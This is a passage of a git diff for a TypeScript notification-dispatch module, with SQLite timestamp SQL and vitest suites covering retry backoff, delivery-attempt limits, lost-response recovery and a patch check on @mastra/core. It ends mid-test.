AND substr(zone, 4, 1) = ':' + AND length(zone_hour) = 2 AND zone_hour NOT GLOB '*[^0-9]*' AND CAST(zone_hour AS INTEGER) BETWEEN 0 AND 23 + AND length(zone_minute) = 2 AND zone_minute NOT GLOB '*[^0-9]*' AND CAST(zone_minute AS INTEGER) BETWEEN 0 AND 59 + ), iso_epoch AS ( + SELECT + CAST(ROUND((julianday(printf('%04d-%02d-%02dT%02d:%02d:%02d.%sZ', + mapped_year, CAST(month AS INTEGER), CAST(day AS INTEGER), + CAST(hour AS INTEGER), CAST(minute AS INTEGER), CAST(second AS INTEGER), milliseconds)) + - 2440587.5) * 86400000) AS INTEGER) + - (CASE WHEN substr(zone, 1, 1) = '-' THEN -1 ELSE 1 END) + * (CAST(zone_hour AS INTEGER) * 60 + CAST(zone_minute AS INTEGER)) * 60000 + + ((original_year - mapped_year) / 400) * 146097 * 86400000 AS epoch_ms + FROM iso_valid + ) + SELECT CASE WHEN epoch_ms BETWEEN -8640000000000000 AND 8640000000000000 THEN epoch_ms END + FROM iso_epoch) END)`; +} + +/** Bind numeric epoch milliseconds for deliverAt, then summaryAt. */ +export const DUE_NOTIFICATION_SQL = `status = 'pending' AND ((${notificationTimestampSql('deliverAt')}) <= ? OR (${notificationTimestampSql('summaryAt')}) <= ?)`; diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index c3b3fc1f..e7a485a0 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -52,7 +52,6 @@ import { Mastra } from '@mastra/core'; import { Agent, createSignal } from '@mastra/core/agent'; import { MockMemory } from '@mastra/core/memory'; -import type { NotificationsStorage } from '@mastra/core/notifications'; import { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; import { @@ -133,6 +132,7 @@ import { import { createNotificationDispatchTick, createThreadSignalRoutes, + type NotificationDeliveryStorage, } from './signals/index.js'; const STATES: readonly ExecutionFenceState[] = [ @@ -1219,7 +1219,13 @@ const ENTRIES: readonly Entry[] = [ listed += 1; return []; }, - } as unknown as NotificationsStorage; + getNotification: async () => { + throw new Error('unexpected notification readback'); + }, + updateNotificationDeliveryIfUnchanged: async () => { + throw new Error('unexpected notification failure write'); + }, + } as unknown as NotificationDeliveryStorage; const tick = createNotificationDispatchTick({ storage, topology: stubTopology(), diff --git a/packages/flowsafe/src/signals/d1-shared.ts b/packages/flowsafe/src/signals/d1-shared.ts index b9c40688..8f55d8e6 100644 --- a/packages/flowsafe/src/signals/d1-shared.ts +++ b/packages/flowsafe/src/signals/d1-shared.ts @@ -36,12 +36,7 @@ export function d1Changes(result: { meta?: { changes?: number } }): number { return typeof changes === 'number' ? changes : 0; } -/** - * A Date → ISO-8601 TEXT column value, or null. ISO text so a lexicographic `<` - * against a cutoff is a correct timestamp comparison — the same encoding the - * snapshot/memory tables use and the retention purges (and the schema guard) - * ride on. - */ +/** A Date → ISO-8601 TEXT column value, or null. */ export function isoOrNull(value: Date | undefined): string | null { return value === undefined ? null : value.toISOString(); } diff --git a/packages/flowsafe/src/signals/index.ts b/packages/flowsafe/src/signals/index.ts index 2cef847c..d2010893 100644 --- a/packages/flowsafe/src/signals/index.ts +++ b/packages/flowsafe/src/signals/index.ts @@ -20,6 +20,11 @@ export { export type { SignalDatabase, SignalStatement } from './d1-shared.js'; export { createNotificationDispatchTick, + DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + type NotificationDeliveryFailure, + type NotificationDeliveryObservation, + type NotificationDeliveryStorage, + type NotificationDeliveryUpdateResult, type NotificationDispatchTickOptions, type NotificationDispatchTickResult, } from './notification-dispatch.js'; diff --git a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts new file mode 100644 index 00000000..3469978f --- /dev/null +++ b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts @@ -0,0 +1,131 @@ +// SPDX-License-Identifier: Apache-2.0 +// The @mastra/core patch seam, against an unpatched Core. The mock is +// file-scoped, so these cases live apart from the rest of the dispatch suites. + +import type { Agent } from '@mastra/core/agent'; +import type { + NotificationRecord, + NotificationsStorage, +} from '@mastra/core/notifications'; +import { describe, expect, it, vi } from 'vitest'; + +import type { ThreadScope } from '../do-runner/index.js'; +import { + createNotificationDispatchTick, + type NotificationDispatchTickOptions, +} from './notification-dispatch.js'; +import { createThreadSignalRoutes } from './thread-do-routes.js'; + +vi.mock('@mastra/core/notifications', async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + // 1.53.0's accumulator is an ordinary object literal, so a source named + // after an Object.prototype member resolves the inherited member instead of + // its own count. + summarizeNotifications: (records: NotificationRecord[]) => { + const summary = actual.summarizeNotifications(records); + const bySource: Record = {}; + for (const notification of records) { + if (notification.status !== 'pending') continue; + bySource[notification.source] = + (bySource[notification.source] ?? 0) + 1; + } + return { ...summary, bySource }; + }, + }; +}); + +const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/; + +function tickOptions( + overrides: Record = {}, +): NotificationDispatchTickOptions { + return { + storage: {}, + topology: { send: async () => new Response(null, { status: 404 }) }, + resolveContext: () => ({}), + executionFence: 'none', + ...overrides, + } as unknown as NotificationDispatchTickOptions; +} + +function scope(): ThreadScope { + return { + threadId: 'acme_t1', + actor: { id: 'operator', role: 'operator' }, + principal: { kind: 'human', id: 'operator', role: 'operator' }, + requestedBy: 'operator', + init: { pubsub: undefined }, + } as unknown as ThreadScope; +} + +function post(body: unknown): Request { + return new Request('http://thread/signal/notifications/dispatch', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify(body), + }); +} + +describe('notification dispatch against an unpatched @mastra/core', () => { + it('refuses tick construction, naming the patch', () => { + expect(() => createNotificationDispatchTick(tickOptions())).toThrow( + TypeError, + ); + expect(() => createNotificationDispatchTick(tickOptions())).toThrow( + PATCH_MESSAGE, + ); + }); + + it('refuses tick construction for a zero limit too', () => { + expect(() => + createNotificationDispatchTick(tickOptions({ limit: 0 })), + ).toThrow(PATCH_MESSAGE); + }); + + it('refuses a dispatch request without reading a notification', async () => { + const storage = { + getNotification: vi.fn(async () => null), + updateNotificationDeliveryIfUnchanged: vi.fn(async () => ({ + outcome: 'unchanged', + })), + }; + // Construction stays available: the refusal belongs to notification + // dispatch, not to the whole /signal surface. + const routes = createThreadSignalRoutes({ + resolveAgent: () => ({ id: 'agent' }) as unknown as Agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: () => + storage as unknown as NotificationsStorage, + }); + + const logged: string[] = []; + const consoleError = console.error; + let response: Response | null | undefined; + try { + console.error = (...args: unknown[]) => { + logged.push(args.map(String).join(' ')); + }; + response = await routes( + post({ + notificationIds: ['n1'], + resourceId: 'acme_res', + agentId: 'agent', + now: '2026-07-20T12:00:00.000Z', + }), + scope(), + ); + } finally { + console.error = consoleError; + } + + // Status and body match the conditional-storage capability refusal, which + // takes the same route catch; the logged message is what tells them apart. + expect(response?.status).toBe(502); + expect(await response?.json()).toEqual({ error: 'internal error' }); + expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); + expect(storage.getNotification).not.toHaveBeenCalled(); + }); +}); diff --git a/packages/flowsafe/src/signals/notification-dispatch.test.ts b/packages/flowsafe/src/signals/notification-dispatch.test.ts index 65cce0ab..29a7080d 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.test.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.test.ts @@ -1,6 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 -import { InMemoryNotificationsStorage } from '@mastra/core/notifications'; +import { + type CreateNotificationInput, + InMemoryNotificationsStorage, + type NotificationRecord, +} from '@mastra/core/notifications'; import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; @@ -11,18 +15,62 @@ import { ExecutionFenceStore, } from '../do-runner/index.js'; import type { ThreadTopology } from '../host-kit/index.js'; +import type { SignalDatabase } from './d1-shared.js'; import { + captureNotificationDeliveryObservation, + captureNotificationDeliverySelection, + captureNotificationDeliveryStorage, createNotificationDispatchTick as createNotificationDispatchTickImpl, + DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + type NotificationDeliveryStorage, + type NotificationDeliveryUpdateResult, type NotificationDispatchTickOptions, + recordNotificationDeliveryFailure, } from './notification-dispatch.js'; +import { D1NotificationsStorage } from './notifications-d1.js'; + const NOW = new Date('2026-07-20T12:00:00.000Z'); -/** - * The tick under test with the fence defaulted to the honest wiring for these - * cases: the notifications storage is in-memory, so there is no database to - * fence. The fence cases at the bottom of this file pass a real store. - */ +function notificationStorage(): D1NotificationsStorage { + return new D1NotificationsStorage( + sqliteUnitDatabase(openSqlite()) as SignalDatabase, + ); +} + +function pending( + storage: NotificationDeliveryStorage, + overrides: Partial = {}, +): Promise { + return storage.createNotification({ + id: 'pending', + threadId: 'acme_thread', + resourceId: 'acme_resource', + agentId: 'agent', + source: 'test', + kind: 'ready', + summary: 'ready', + deliverAt: new Date(NOW.getTime() - 1), + ...overrides, + }); +} + +function failure( + storage: NotificationDeliveryStorage, + record: NotificationRecord, + maxDeliveryAttempts = DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + now = NOW, +) { + return recordNotificationDeliveryFailure( + captureNotificationDeliveryStorage(storage), + captureNotificationDeliveryObservation(record), + now, + maxDeliveryAttempts, + { type: 'failure', error: new Error('target refused') }, + ); +} + +/** SQLite fixtures without an execution fence use the explicit no-fence wiring. */ function createNotificationDispatchTick( options: Omit & Partial>, @@ -54,7 +102,7 @@ function actorContext(groupId = 'deployment'): ActorContext { describe('createNotificationDispatchTick', () => { it('rejects malformed rows before addressing a thread DO', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); const valid = await storage.createNotification({ id: 'valid', threadId: 'acme_thread', @@ -111,7 +159,7 @@ describe('createNotificationDispatchTick', () => { it('surfaces terminal content-policy discards separately from failures', async () => { // #given — two thread groups, one whose DO discarded both of its rows - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (const groupId of ['acme', 'globex']) { await storage.createNotification({ id: groupId, @@ -149,7 +197,7 @@ describe('createNotificationDispatchTick', () => { it('omits the discard counter when no route discarded anything', async () => { // #given — the pre-existing wire shape, which callers assert exactly - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); await storage.createNotification({ id: 'acme', threadId: 'acme_thread', @@ -176,7 +224,7 @@ describe('createNotificationDispatchTick', () => { }); it('isolates a failed thread group from its neighbors', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (const groupId of ['acme', 'globex']) { await storage.createNotification({ id: groupId, @@ -206,7 +254,7 @@ describe('createNotificationDispatchTick', () => { }); it('backs off a blocked row so a bounded scan reaches later notifications', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); const blocked = await storage.createNotification({ id: 'blocked', threadId: 'acme_thread', @@ -268,7 +316,7 @@ describe('createNotificationDispatchTick', () => { }); it('groups the same thread/resource separately by persisted agent id', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (const agentId of ['agent-a', 'agent-b']) { await storage.createNotification({ id: agentId, @@ -316,7 +364,7 @@ describe('createNotificationDispatchTick', () => { }); it('fails a due row with no agent id before addressing a thread DO', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); const record = await storage.createNotification({ id: 'no-agent', threadId: 'acme_thread', @@ -348,7 +396,7 @@ describe('createNotificationDispatchTick', () => { }); it('plans the full group before packing so urgent rows cross the 100-id boundary', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (let index = 0; index < 100; index += 1) { await storage.createNotification({ id: `low-${index}`, @@ -400,7 +448,7 @@ describe('createNotificationDispatchTick', () => { }); it('keeps a route-sized summary intact while packing higher-priority individuals first', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); const summaryIds: string[] = []; const createSummary = async (index: number) => { const id = `summary-${index}`; @@ -462,7 +510,7 @@ describe('createNotificationDispatchTick', () => { }); it('fragments an oversized summary into consecutive summary-only requests', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (let index = 0; index < 205; index += 1) { await storage.createNotification({ id: `summary-${index}`, @@ -504,7 +552,7 @@ describe('createNotificationDispatchTick', () => { }); it('carries one echoed thread-state snapshot within a group and resets it for the next group', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (const groupId of ['acme', 'globex']) { for (let index = 0; index < 101; index += 1) { await storage.createNotification({ @@ -562,7 +610,7 @@ describe('createNotificationDispatchTick', () => { }); it('chunks 205 records into route-valid batches of 100, 100, and 5', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (let index = 0; index < 205; index += 1) { await storage.createNotification({ id: `n-${index}`, @@ -601,7 +649,7 @@ describe('createNotificationDispatchTick', () => { }); it('isolates a failed middle chunk and continues with later chunks', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); for (let index = 0; index < 205; index += 1) { await storage.createNotification({ id: `n-${index}`, @@ -650,7 +698,7 @@ describe('createNotificationDispatchTick', () => { }); it('rejects invalid limits synchronously and treats zero as an intentional no-op', async () => { - const storage = new InMemoryNotificationsStorage(); + const storage = notificationStorage(); const send = vi.fn(); for (const limit of [ -1, @@ -696,8 +744,8 @@ describe('createNotificationDispatchTick and the deployment execution fence', () return fence; } - async function dueRow(): Promise { - const storage = new InMemoryNotificationsStorage(); + async function dueRow(): Promise { + const storage = notificationStorage(); await storage.createNotification({ id: 'due-1', threadId: 'acme_thread', @@ -766,3 +814,860 @@ describe('createNotificationDispatchTick and the deployment execution fence', () expect(await tick()).toEqual({ due: 1, delivered: 1, failed: 0 }); }); }); + +describe('notification delivery observations', () => { + it('detaches dates and JSON while preserving storage normalization', async () => { + const record = await pending(notificationStorage()); + record.deliveryAttempts = undefined; + record.coalescedCount = undefined; + record.payload = { values: [Number.NaN, undefined], absent: undefined }; + record.attributes = { present: true, missing: undefined }; + record.metadata = { nested: { name: 'before' } }; + const { record: detached, expected } = + captureNotificationDeliverySelection(record); + record.deliverAt?.setTime(0); + (record.metadata.nested as { name: string }).name = 'after'; + detached.createdAt.setTime(0); + expect(expected.deliveryAttempts).toBe(0); + expect(expected.coalescedCount).toBe(1); + expect(expected.payload).toBe('{"values":[null,null]}'); + expect(expected.attributes).toBe('{"present":true}'); + expect(detached.metadata).toEqual({ nested: { name: 'before' } }); + expect(expected.deliverAt).toBe(new Date(NOW.getTime() - 1).toISOString()); + expect(expected.createdAt).not.toBe(new Date(0).toISOString()); + expect(Object.isFrozen(expected)).toBe(true); + }); + + it.each([ + null, + -1, + 0.5, + Number.NaN, + Number.POSITIVE_INFINITY, + Number.MAX_SAFE_INTEGER + 1, + '1', + ])('rejects a malformed public counter %s', async (deliveryAttempts) => { + const record = await pending(notificationStorage()); + Object.assign(record, { deliveryAttempts }); + expect(() => captureNotificationDeliveryObservation(record)).toThrow(); + }); + + it.each([ + { payload: () => undefined }, + { payload: 1n }, + { createdAt: new Date(Number.NaN) }, + { summaryAt: new Date(Number.NaN) }, + { status: 'unknown' }, + { priority: 'unknown' }, + { resourceId: 1 }, + { coalescedCount: Number.POSITIVE_INFINITY }, + ])('rejects an unreadable observation %s', async (patch) => { + const record = await pending(notificationStorage()); + Object.assign(record, patch); + expect(() => captureNotificationDeliverySelection(record)).toThrow(); + }); +}); + +describe('conditional notification failure bookkeeping', () => { + it('keeps the exact backoff and a future individual cursor', async () => { + const storage = notificationStorage(); + let now = new Date(NOW); + const future = new Date('2030-01-01T00:00:00Z'); + let record = await pending(storage, { + summaryAt: new Date(0), + deliverAt: future, + }); + for (const delay of [1, 2, 4, 8, 16, 32, 64, 128, 256, 256, 256]) { + expect(await failure(storage, record, 20, now)).toBe('deferred'); + const next = await storage.getNotification(record); + expect(next?.summaryAt).toEqual(new Date(now.getTime() + delay * 1000)); + expect(next?.deliverAt).toEqual(future); + expect(next?.lastDeliveryAttemptAt).toEqual(now); + expect(next?.lastDeliveryError).toBe('target refused'); + if (!next?.summaryAt) + throw new Error('retry did not retain summary cursor'); + record = next; + now = next.summaryAt; + } + }); + + it('preserves wall-clock status time with an injected dispatch clock', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const before = Date.now(); + expect(await failure(storage, record, 1)).toBe('discarded'); + const after = Date.now(); + const current = await storage.getNotification(record); + expect(current?.lastDeliveryAttemptAt).toEqual(NOW); + expect(current?.discardedAt).toEqual(current?.updatedAt); + expect(current?.updatedAt.getTime()).toBeGreaterThanOrEqual(before); + expect(current?.updatedAt.getTime()).toBeLessThanOrEqual(after); + expect(current?.deliveryAttempts).toBe(1); + expect(current?.deliveryReason).toBe('delivery-attempts-exhausted'); + expect(current?.deliverAt).toBeUndefined(); + expect(current?.summaryAt).toBeUndefined(); + }); + + it.each([ + 'retry', + 'discard', + 'exhausted', + ] as const)('recovers the exact committed %s receipt after response loss without replay', async (mode) => { + const storage = notificationStorage(); + let record = await pending(storage, { summaryAt: new Date(0) }); + if (mode === 'exhausted') { + record = await storage.updateNotification({ + ...record, + deliveryAttempts: 10, + lastDeliveryError: 'first refusal', + lastDeliveryAttemptAt: new Date(1000), + }); + } + const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage); + const lost = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockImplementation(async (input) => { + await write(input); + throw new Error('response lost'); + }); + const read = vi.spyOn(storage, 'getNotification'); + expect( + await recordNotificationDeliveryFailure( + captureNotificationDeliveryStorage(storage), + captureNotificationDeliveryObservation(record), + NOW, + mode === 'discard' ? 1 : 10, + mode === 'exhausted' + ? { type: 'exhausted' } + : { type: 'failure', error: 'target refused' }, + ), + ).toBe(mode === 'retry' ? 'deferred' : 'discarded'); + expect(lost).toHaveBeenCalledTimes(1); + expect(read).toHaveBeenCalledTimes(1); + const current = await storage.getNotification(record); + expect(current?.deliveryAttempts).toBe(mode === 'exhausted' ? 10 : 1); + expect(current?.lastDeliveryError).toBe( + mode === 'exhausted' ? 'first refusal' : 'target refused', + ); + }); + + it('leaves a before-commit failure uncertain and never claims a discard', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const write = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockRejectedValue(new Error('before commit')); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect(await failure(storage, record, 1)).toBe('uncertain'); + expect(await storage.getNotification(record)).toEqual(record); + expect(write).toHaveBeenCalledTimes(1); + } finally { + log.mockRestore(); + } + }); + + it.each([ + null, + [], + {}, + { applied: 1 }, + { applied: true }, + { applied: false, record: {} }, + { applied: false, extra: true }, + { applied: true, record: {} }, + ])('does not trust a malformed custom result %j', async (result) => { + const storage = notificationStorage(); + const record = await pending(storage); + const write = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockResolvedValue(result as NotificationDeliveryUpdateResult); + const read = vi.spyOn(storage, 'getNotification'); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect(await failure(storage, record, 1)).toBe('uncertain'); + expect(write).toHaveBeenCalledTimes(1); + expect(read).toHaveBeenCalledTimes(1); + } finally { + log.mockRestore(); + } + }); + + it.each([ + 'content', + 'signal', + 'reason', + 'count', + 'time', + 'missing', + 'unreadable', + ] as const)('does not attribute a changed %s readback after committed response loss', async (change) => { + const storage = notificationStorage(); + const record = await pending(storage); + const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage); + vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ).mockImplementation(async (input) => { + await write(input); + throw new Error('response lost'); + }); + const read = storage.getNotification.bind(storage); + vi.spyOn(storage, 'getNotification').mockImplementation(async (input) => { + if (change === 'missing') return null; + if (change === 'unreadable') throw new Error('read unavailable'); + const current = await read(input); + if (!current) throw new Error('missing fixture'); + const patches = { + content: { summary: 'replacement' }, + signal: { summarySignalId: 'other-summary' }, + reason: { deliveryReason: 'content-policy-denied' }, + count: { deliveryAttempts: 2 }, + time: { discardedAt: new Date(0) }, + }; + return { ...current, ...patches[change] }; + }); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect(await failure(storage, record, 1)).toBe('uncertain'); + } finally { + log.mockRestore(); + } + }); + + it('validates encoded JSON without treating overflow as normalized null', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const expected = { + ...captureNotificationDeliveryObservation(record), + payload: '{"overflow":1e400}', + }; + const write = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged'); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect( + await recordNotificationDeliveryFailure( + captureNotificationDeliveryStorage(storage), + expected, + NOW, + 10, + { type: 'failure', error: 'refused' }, + ), + ).toBe('uncertain'); + expect(write).not.toHaveBeenCalled(); + } finally { + log.mockRestore(); + } + }); + + it('rejects an exhausted action below the bound without writing', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const write = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged'); + const log = vi.spyOn(console, 'error').mockImplementation(() => {}); + try { + expect( + await recordNotificationDeliveryFailure( + captureNotificationDeliveryStorage(storage), + captureNotificationDeliveryObservation(record), + NOW, + 10, + { type: 'exhausted' }, + ), + ).toBe('uncertain'); + expect(write).not.toHaveBeenCalled(); + } finally { + log.mockRestore(); + } + }); + + it('does not read back a conditional mismatch or rewrite a successful receipt', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const delivered = await storage.updateNotification({ + ...record, + status: 'delivered', + deliveredSignalId: 'delivered', + }); + const read = vi.spyOn(storage, 'getNotification'); + expect(await failure(storage, record, 1)).toBe('unchanged'); + expect(read).not.toHaveBeenCalled(); + expect(await storage.getNotification(record)).toEqual(delivered); + }); +}); + +describe('bounded notification dispatch tick', () => { + it.each([ + 0, + -1, + 0.5, + Number.NaN, + Number.POSITIVE_INFINITY, + Number.MAX_SAFE_INTEGER + 1, + ])('rejects invalid attempt bounds %s synchronously before dependencies', (maxDeliveryAttempts) => { + const options = { + maxDeliveryAttempts, + get storage() { + throw new Error('dependency accessed'); + }, + } as unknown as NotificationDispatchTickOptions; + expect(() => createNotificationDispatchTickImpl(options)).toThrow( + RangeError, + ); + }); + + it('returns the zero-limit no-op before reading dependency references', async () => { + const options = { + limit: 0, + get storage() { + throw new Error('dependency accessed'); + }, + get executionFence() { + throw new Error('fence accessed'); + }, + } as unknown as NotificationDispatchTickOptions; + expect(await createNotificationDispatchTickImpl(options)()).toEqual({ + due: 0, + delivered: 0, + failed: 0, + }); + }); + + it('refuses ordinary Core storage before reading or sending', () => { + const storage = new InMemoryNotificationsStorage(); + const read = vi.spyOn(storage, 'listDueNotifications'); + const send = vi.fn(); + expect(() => + createNotificationDispatchTick({ + storage: storage as unknown as NotificationDeliveryStorage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + }), + ).toThrow(TypeError); + expect(read).not.toHaveBeenCalled(); + expect(send).not.toHaveBeenCalled(); + }); + + it('uses the approved default to retire a refused oldest row and advance the due window', async () => { + const storage = notificationStorage(); + const poison = await pending(storage, { + id: 'poison', + deliverAt: new Date(0), + }); + const next = await pending(storage, { + id: 'next', + deliverAt: new Date('2030-01-01T00:00:00Z'), + }); + let now = new Date(NOW); + const send = vi.fn(async () => new Response(null, { status: 404 })); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => now, + limit: 1, + }); + expect(DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS).toBe(10); + for (let attempt = 1; attempt <= 10; attempt += 1) { + expect(await tick()).toEqual( + attempt === 10 + ? { due: 1, delivered: 0, failed: 0, discarded: 1 } + : { due: 1, delivered: 0, failed: 1 }, + ); + const current = await storage.getNotification(poison); + expect(current?.deliveryAttempts).toBe(attempt); + if (current?.deliverAt) now = current.deliverAt; + } + const terminal = await storage.getNotification(poison); + expect(terminal).toMatchObject({ + status: 'discarded', + deliveryAttempts: 10, + lastDeliveryError: 'thread notification dispatch returned 404', + deliveryReason: 'delivery-attempts-exhausted', + }); + expect(terminal?.deliverAt).toBeUndefined(); + expect(terminal?.summaryAt).toBeUndefined(); + expect( + (await storage.listNotifications({ threadId: poison.threadId })).find( + (record) => record.id === poison.id, + ), + ).toEqual(terminal); + now = new Date('2030-01-01T00:00:00Z'); + expect(await storage.listDueNotifications({ now, limit: 1 })).toEqual([ + next, + ]); + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + expect(send).toHaveBeenCalledTimes(11); + }); + + it.each([ + { deliveryAttempts: 10, resourceId: 'acme_resource' }, + { deliveryAttempts: 10, resourceId: 'bad/resource' }, + { + deliveryAttempts: Number.MAX_SAFE_INTEGER, + resourceId: 'acme_resource', + }, + { + deliveryAttempts: Number.MAX_SAFE_INTEGER, + resourceId: 'bad/resource', + }, + ])('discards pre-exhausted count $deliveryAttempts for $resourceId without another target call', async ({ + deliveryAttempts, + resourceId, + }) => { + const storage = notificationStorage(); + const record = await pending(storage, { + resourceId, + summaryAt: new Date(0), + }); + const before = await storage.updateNotification({ + ...record, + deliveryAttempts, + lastDeliveryError: 'original', + lastDeliveryAttemptAt: new Date(1000), + summarySignalId: 'prior-summary', + }); + const send = vi.fn(); + const context = vi.fn(actorContext); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: context, + now: () => NOW, + }); + expect(await tick()).toEqual({ + due: 1, + delivered: 0, + failed: 0, + discarded: 1, + }); + const current = await storage.getNotification(record); + expect(current).toMatchObject({ + deliveryAttempts, + lastDeliveryError: before.lastDeliveryError, + lastDeliveryAttemptAt: before.lastDeliveryAttemptAt, + summarySignalId: 'prior-summary', + status: 'discarded', + }); + expect(send).not.toHaveBeenCalled(); + expect(context).not.toHaveBeenCalled(); + expect(current?.deliverAt).toBeUndefined(); + expect(current?.summaryAt).toBeUndefined(); + }); + + it.each([ + 403, + 404, + 'transport', + ] as const)('bounds repeated %s refusal', async (refusal) => { + const storage = notificationStorage(); + const record = await pending(storage); + let now = new Date(NOW); + const send = vi.fn(async () => { + if (refusal === 'transport') throw new Error('transport unavailable'); + return new Response(null, { status: refusal }); + }); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => now, + maxDeliveryAttempts: 2, + }); + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + const deferred = await storage.getNotification(record); + if (!deferred?.deliverAt) throw new Error('missing retry'); + now = deferred.deliverAt; + expect(await tick()).toEqual({ + due: 1, + delivered: 0, + failed: 0, + discarded: 1, + }); + expect((await storage.getNotification(record))?.deliveryAttempts).toBe(2); + }); + + it('captures the bound, dependencies, writer, and attempt time before waits', async () => { + const storage = notificationStorage(); + const record = await pending(storage); + const now = new Date(NOW); + let listed!: () => void; + let release!: () => void; + const waiting = new Promise((resolve) => { + listed = resolve; + }); + const barrier = new Promise((resolve) => { + release = resolve; + }); + const list = storage.listDueNotifications.bind(storage); + vi.spyOn(storage, 'listDueNotifications').mockImplementation( + async (input) => { + const records = await list(input); + input.now.setTime(0); + listed(); + await barrier; + return records; + }, + ); + const send = vi.fn(async () => { + throw new Error('captured target'); + }); + const options: NotificationDispatchTickOptions = { + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => now, + maxDeliveryAttempts: 1, + executionFence: 'none', + }; + const tick = createNotificationDispatchTickImpl(options); + const result = tick(); + await waiting; + options.maxDeliveryAttempts = 20; + options.storage = notificationStorage(); + options.resolveContext = () => { + throw new Error('replacement context'); + }; + options.topology = { send: vi.fn() } as unknown as ThreadTopology; + const replaced = vi + .spyOn(storage, 'updateNotificationDeliveryIfUnchanged') + .mockRejectedValue(new Error('replacement writer')); + now.setTime(0); + release(); + expect(await result).toEqual({ + due: 1, + delivered: 0, + failed: 0, + discarded: 1, + }); + expect(replaced).not.toHaveBeenCalled(); + expect(send).toHaveBeenCalledTimes(1); + expect(await storage.getNotification(record)).toMatchObject({ + deliveryAttempts: 1, + lastDeliveryAttemptAt: NOW, + lastDeliveryError: 'captured target', + }); + }); + + it('keeps detached batch observations after a topology await mutates source records', async () => { + const storage = notificationStorage(); + const record = await pending(storage, { payload: { name: 'before' } }); + const listed = [record]; + vi.spyOn(storage, 'listDueNotifications').mockResolvedValue(listed); + const send = vi.fn(async () => { + record.threadId = 'replacement'; + record.deliveryAttempts = 9; + record.deliverAt?.setTime(0); + (record.payload as { name: string }).name = 'after'; + throw new Error('target refused'); + }); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + now: () => NOW, + }); + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + expect( + await storage.getNotification({ threadId: 'acme_thread', id: 'pending' }), + ).toMatchObject({ + deliveryAttempts: 1, + payload: { name: 'before' }, + lastDeliveryError: 'target refused', + }); + }); + + it.each([ + 'summary', + 'delivered', + 'denied', + 'failed', + ] as const)('preserves downstream %s bookkeeping after response loss', async (mode) => { + const storage = notificationStorage(); + const record = await pending(storage, { summaryAt: new Date(0) }); + let downstream: NotificationRecord | null = null; + const send = vi.fn(async () => { + if (mode === 'failed') await failure(storage, record); + else + await storage.updateNotification({ + id: record.id, + threadId: record.threadId, + ...(mode === 'summary' + ? { + summaryAt: null, + summarySignalId: 'summary', + lastDeliveryAttemptAt: NOW, + } + : mode === 'delivered' + ? { + status: 'delivered', + deliveredSignalId: 